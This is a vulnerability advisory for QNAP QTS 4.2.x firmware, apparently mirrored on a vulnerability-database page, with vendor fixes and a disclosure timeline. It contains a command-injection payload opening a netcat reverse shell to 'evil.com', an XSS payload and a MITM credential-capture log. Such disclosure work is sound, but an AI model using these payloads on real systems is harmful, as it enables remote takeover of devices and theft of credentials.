Lucene search
K

QNAP QTS 4.2.x XSS / Command Injection / Transport Issues

🗓️ 15 Feb 2017 00:00:00Reported by Harry SintonenType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 51 Views

QNAP QTS 4.2.x Multiple Vulnerabilities - Overview, Command Injection, XSS, Transport Issue

Code
`QNAP QTS 4.2.x multiple vulnerabilities  
=======================================  
The latest version of this advisory is available at:  
https://sintonen.fi/advisories/qnap-qts-42-multiple-vulnerabilities.txt  
  
  
Overview  
--------  
  
QNAP QTS firmware contain Missing Transport Layer Security (CWE-319),  
Improper Certificate Validation (CWE-295), Command Injection (CWE-77),  
Cross-Site Scripting (CWE-79) and Information Exposure (CWE-200)  
vulnerabilities that can be exploited to gain remote command execution  
to the devices or to perform arbitrary administrative functions, and  
to gain unauthorized access to user's myQNAPcloud credentials.  
  
  
Description  
-----------  
  
QNAP QTS software firmware update functionality include Missing Transport  
Layer Security (CWE-319), Command Injection (CWE-77) and Cross-Site  
Scripting (CWE-79) vulnerabilities. An attacker in a privileged network  
position can Man-in-The-Middle the firmware update check and exploit the  
command injection vulnerability to execute arbitrary commands on the  
targeted device.  
  
QNAP QTS myQNAPcloud functionality includes Improper Certificate Validation  
(CWE-295) vulnerability. The attacker in a privileged network position can  
exploit this vulnerability to eavesdrop the myQNAPcloud credentials.  
  
QNAP QTS media scraping functionality automatically scrapes Google and IMDB   
for media information (for example album cover images). The functionality  
contains an Information Exposure (CWE-200) vulnerability. The attacker in a  
privileged network position can eavesdrop the requests performed.  
  
  
Impact  
------  
  
The attacker in a privileged network position is able to execute arbitrary  
commands as administrative user (root). The attacker can also perform  
any administrative functions normally available to the administrator, such  
as firmware updates.  
  
The attacker in a privileged network position is able to gain access to  
the myQNAPcloud credentials. The attacker can access the NAS via the  
myQNAPcloud APIs and/or the www.myqnapcloud.com website.  
  
The attacker in a privileged network position is able gain knowledge of the  
media files stored on the device.  
  
  
Details  
-------  
  
The discovered vulnerabilities, described in more detail below, enable  
multiple independent attacks described here in brief:  
  
- Semi-Automated Remote Command Execution Via Firmware Update  
  
The vulnerabilities in QNAP QTS firmware update enable semi-automated  
remote command execution attacks against the QNAP firmware update  
functionality. The attack involves performing Man-in-The-Middle attack  
on the firmware update request. The exploit is triggered when the  
administrator logs on to the device, or when manual firmware update  
check is performed. The Cross-Site Scripting vulnerability enables  
attack automation, no other user interaction is needed.  
  
- Stealing myQNAPcloud Credentials and/or Access Tokens  
  
The Improper Certificate Validation in the myQNAPcloud requests enable  
Man-in-The-Middle attack against the myQNAPcloud connections. The  
attacker will learn the myQNAPcloud user credentials and/or access  
tokens. These in turn can be leveraged to obtain access to the NAS  
contents.  
  
- Media Information Exposure  
  
Missing Transport Layer Security and Improper Certificate Validation in  
the QTS media scraping functionality enable Man-in-The-Middle attack  
against the requests being performed. As a result, the attacker will  
gain knowledge about the media files stored on the device.  
  
  
Vulnerabilities  
---------------  
  
1. Firmware Update Missing Transport Layer Security (CWE-319)  
  
The QNAP QTS firmware release XML file is downloaded without transport  
layer security (TLS). The content of the file can be tampered with. The  
actual firmware updates are downloaded without transport layer security  
(TLS), too. The attacker in a privileged network position can  
Man-in-The-Middle the connection and tamper with the downloaded firmware  
release XML and/or the firmware binaries.  
  
NOTE: It is unclear if the firmware binaries are somehow signed. If no  
signing is used, the firmware image can be replaced with any custom  
content by the attacker.  
  
  
2. myQNAPcloud Improper Certificate Validation (CWE-295)  
  
The QNAP QTS connects to myQNAPcloud without proper certificate  
validation. The attacker in a privileged network position can  
Man-in-The-Middle the connection and steal the user credentials and/or  
access tokens and other confidential information.  
  
At least the following hosts are contacted without validation:  
- account.myqnapcloud.com  
- core2.api.myqnapcloud.com  
- auth.api.myqnapcloud.com  
  
The myQNAPclould service also connects back to the NAS. Even if this  
connection is configured to use TLS only, again no certificate  
validation is performed.  
  
myQNAPcloud credential capture example:  
  
# sslsniff -a -c /usr/share/sslsniff/certs/wildcard -s 4443 -w /dev/stdout  
1485661482 INFO sslsniff : Added OCSP URL: ocsp.ipsca.com  
1485661482 INFO sslsniff : Certificate Ready: *  
sslsniff 0.8 by Moxie Marlinspike running...  
1485661488 DEBUG sslsniff : Read from Client (api.myqnapcloud.com) :  
POST /oauth/token HTTP/1.1  
Host: auth.api.myqnapcloud.com  
Accept: application/json  
X-QNAP-APP-ID: 0vi23432423egfdsscwklkjdw23s9001  
X-QNAP-SUBAPP-ID: 0vi23432423egfdsscwklkjdw23s9001  
X-QNAP-MODEL: TVS-663  
X-QNAP-FIRMWARE: 4.2.3_20170121  
X-QNAP-DIGEST: 20[XXXXXXXXXXXXXXXXXXXXXXXXXX]0e  
X-QNAP-APP-VER: 2.0.11  
X-QNAP-DEVICE-HOSTNAME: NASSE  
Content-Length: 191  
Content-Type: application/x-www-form-urlencoded  
  
grant_type=password&client_id=0vi23432423egfdsscwklkjdw23s9001&  
client_secret=dlxkajKmomLqdBmvNfjVycvHjXjikeowUFYOPf43s&  
username=email%40victim.com&password=mysecretpassword  
  
  
3. Command Injection in Firmware Update (CWE-77)  
  
/sbin/get_new_firmware binary has a command injection bug. The following  
command is executed via popen():  
  
/bin/ping -c 2 %s > /tmp/ping_reply ; /bin/cat /tmp/ping_reply |   
/bin/grep time | /bin/cut -d '=' -f 4 | /bin/cut -d ' ' -f 1 ;   
/bin/rm -f /tmp/ping_reply  
  
The value inserted to %s is obtained from the 'server' element of the  
downloaded firmware update XML file:  
  
<?xml version="1.0" encoding="utf-8"?>  
<docRoot>  
<storage>  
<downloadServer>  
<server>http://download.qnap.com/</server>  
<server>http://eu1.qnap.com/</server>  
<server>http://us1.qnap.com/</server>  
</downloadServer>  
  
By modifying the server parameter, arbitrary commands can be executed. For  
example:  
  
<server>http://`nc -e\`echo -e '\x2fbin\x2fsh'\` evil.com 9999`</server>  
  
Note that the string used in the ping command argument is terminated by a  
slash (/) character, so the injected command cannot include it. This  
limitation is trivial to bypass by encoding the character.  
  
  
4. Cross-Site Scripting Via Firmware Update (CWE-79)  
  
There are several Cross-Site Scripting vulnerabilities in the QNAP web user  
interface.  
  
When the QNAP web user interface notices a new firmware update it will pop  
up a requester indicating that a new firmware update is available. The  
"build number" is part of this message. Also the Event Notification for a  
new firmware update will render the "build number" in a similar manner.  
  
The displayed information is extracted from the downloaded firmware update  
XML file. For example:  
  
<buildNumber>20160119</buildNumber>  
  
The information displayed isn't encoded properly, leading to a Cross-Site  
Scripting vulnerabilty. For example:  
  
<buildNumber><img src=x onerror=alert(1)></img></buildNumber>  
  
These cross site scripting vulnerabilities can be leveraged to perform  
arbitrary administrative operations available to the logged in user.  
  
  
5. Information Exposure To 3rd Parties Via Media Scraping (CWE-200)  
  
The QNAP QTS 'media' scraping functionality connects to  
ajax.googleapis.com without proper certificate validation, and to  
www.imdb.com and akas.imdb.com without transport layer security. An  
attacker in a privileged network position can Man-in-The-Middle the  
connections and learn the titles of the media files stored on the NAS.  
  
The /mnt/ext/opt/medialibrary/lib/libscrap.so library performs insecure  
TLS connections by enabling insecure mode (-k):  
  
# strings libscrap.so | grep 'curl -k'  
/sbin/curl -k -L '%s' --connect-timeout 30 --  
  
The library also performs insecure connections to various sites without   
transport layer security:  
  
# grep -oa 'http://[^/]*' libscrap.so  
http://www.imdb.com  
http://www.imdb.com  
http://akas.imdb.com  
http://akas.imdb.com  
http://akas.imdb.com%s  
  
  
Vulnerable devices  
------------------  
  
The vulnerabilities were discovered from an QNAP TVS-663, firmware version  
4.2.0 Build 20160119. They're also confirmed to work with version 4.2.2  
Build 20161214.  
  
According to QNAP the vulnerabilities affect all QNAP products running QTS.  
  
  
Recommendations to vendor  
-------------------------  
  
1. In custom openssl code validate the certificate chain by utilizing  
SSL_CTX_set_verify with mode SSL_VERIFY_PEER. Create a verify_callback  
hook that validates the certificate Common Name (CN) or Subject  
Alternative Names (SAN) against the intended target host name. In  
libcurl code do not disable CURLOPT_SSL_VERIFYPEER. Do not use -k/  
--insecure option with curl command. Do not use --no-check-certificate  
with wget.  
  
2. Do not utilize internet APIs without transport layer security. Upgrade  
all internal QNAP APIs to use TLS. The old non-TLS QNAP APIs can remain  
functional to allow legacy QTS versions to access them.  
  
3. Fix the command injection vulnerability by performing proper input  
validation (whitelisting) and/or shell metacharacter escaping, or by  
utilizing execl family of functions.  
  
4. Fix the firmware update related Cross-Site Scripting vulnerabilities  
in the user interface by performing input validation and/or output  
HTML encoding.  
  
5. Stop using the deprecated API  
https://ajax.googleapis.com/ajax/services/search/images?v=1.0  
  
  
End user mitigation  
-------------------  
  
- Install the latest firmware update, version 4.2.3 build 20170213 or later.  
  
- If you're worried about Scraping privacy issues use external  
firewall to block the QNAP device from accessing the following  
external sites:  
ajax.googleapis.com  
www.imdb.com  
akas.imdb.com  
  
  
Credits  
-------  
  
The vulnerabilities were discovered by Harry Sintonen / F-Secure Oyj.  
  
  
Timeline  
--------  
  
30.01.2016 discovered vulnerabilities 1, 3 and 4  
31.01.2016 discovered vulnerabilities 2 and 5  
31.01.2016 wrote a proof of concept exploit  
01.02.2016 sent an advance notice to vendor regarding the vulnerabilities  
01.02.2016 started to write a preliminary advisory  
01.02.2016 sent the preliminary advisory to vendor  
02.02.2016 sent the preliminary vulnerability report to CERT-FI  
08.03.2016 sent a status inqury to vendor  
14.03.2016 received a response from vendor about the status. agreed that  
disclosure should be coordinated. vendor representative agreed  
to contact me shortly regarding the fixes. communicated the  
deadline of 180 days from delivery of the initial advisory.  
31.07.2016 no communication from vendor has occurred. sent advance notice  
to vendor regarding the planned disclosure date of 01.08.2016.  
02.08.2016 vendor asked for 90 day extension. agreed to it.  
02.11.2016 no fixes or updates arrived after 90 days.  
21.11.2016 no word from vendor. asked if vendor needs even more time.  
reminded vendor that: "...the whole point of responsible  
disclosure is that vulnerabilities get fixed. Extended delay  
allows for other malicious parties to also find the vuls and  
exploit them."  
24.11.2016 vendor requested yet another postponement. no schedule was  
given.  
05.12.2016 informed the vendor of disclosure at Disobey 2017 on Jan 13th.  
13.01.2017 dislosed vulnerabilities 1, 3 and 4 at Disobey 2017.  
18.01.2017 vendor confirmed that all devices running QTS are vulnerable.  
28.01.2017 vendor released QTS 4.2.3 and notified the author.  
29.01.2017 QTS 4.2.3 fixed at least vulnerability 1. this is enough  
to block the firmware exploit. vulnerability 2 was confirmed  
to be unfixed. reported the status to the vendor. vendor  
requested until 15.02.2017 to fix vulnerability 2.  
14.02.2017 vendor released QTS 4.2.3 Build 20170213 fixing vulnerability  
2.  
15.02.2017 public release of the advisory.  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation